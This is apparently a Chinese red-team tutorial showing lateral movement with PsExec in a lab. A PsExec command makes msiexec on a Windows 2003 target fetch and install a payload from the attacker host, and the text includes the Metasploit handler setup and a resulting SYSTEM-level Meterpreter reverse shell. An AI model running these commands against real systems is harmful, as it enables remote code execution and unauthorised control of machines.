专注APT攻击与防御

https://micropoor.blogspot.com/

注：请多喝点热水或者凉白开，可预防肾结石，通风等。

痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

PsExec简介：

微软于2006年7月收购sysinternals公司，PsExec是SysinternalsSuite的小工具之一，是一种轻量级的telnet替代品，允许在其他系统上执行进程，完成控制台应用程序的完全交互，而无需手动安装客户端软件，并且可以获得与控制台应用程序相当的完全交互性。

微软官方文档：

https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

说明：PsExec.exe没有默认安装在windows系统。

攻击机： 192.168.1.4 Debian

靶机： 192.168.1.119 Windows 2003

配置攻击机msf：

1 msf exploit(multi/handler) > show options 2

3 Module options (exploit/multi/handler): 4

5 Name Current Setting Required Description

6 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ 7

8

9 Payload options (windows/meterpreter/reverse\_tcp): 10

11 Name Current Setting Required Description

12 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐

13 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce ss, none)

14 LHOST 192.168.1.4 yes The listen address (an interface may be specifi ed)

15 LPORT 53 yes The listen port 16

17

18 Exploit target: 19

20 Id Name

21 ‐‐ ‐‐‐‐

22 0 Wildcard Target 23

24

25 msf exploit(multi/handler) > exploit 26

27 [\*] Started reverse TCP handler on 192.168.1.4:53 28

靶机执行：

PsExec.exe -d -s msiexec.exe /q /i <http://192.168.1.4/Micropoor_rev_x86_msi_53.txt>

1 msf exploit(multi/handler) > exploit 2

3 [\*] Started reverse TCP handler on 192.168.1.4:53

4 [\*] Sending stage (179779 bytes) to 192.168.1.119

5 [\*] Meterpreter session 11 opened (192.168.1.4:53 ‐> 192.168.1.119:131

8) at 2019‐01‐20 05:43:32 ‐0500 6

7 meterpreter > getuid

8 Server username: NT AUTHORITY\SYSTEM

9 meterpreter > getpid

10 Current pid: 728

11 meterpreter > 12

Micropoor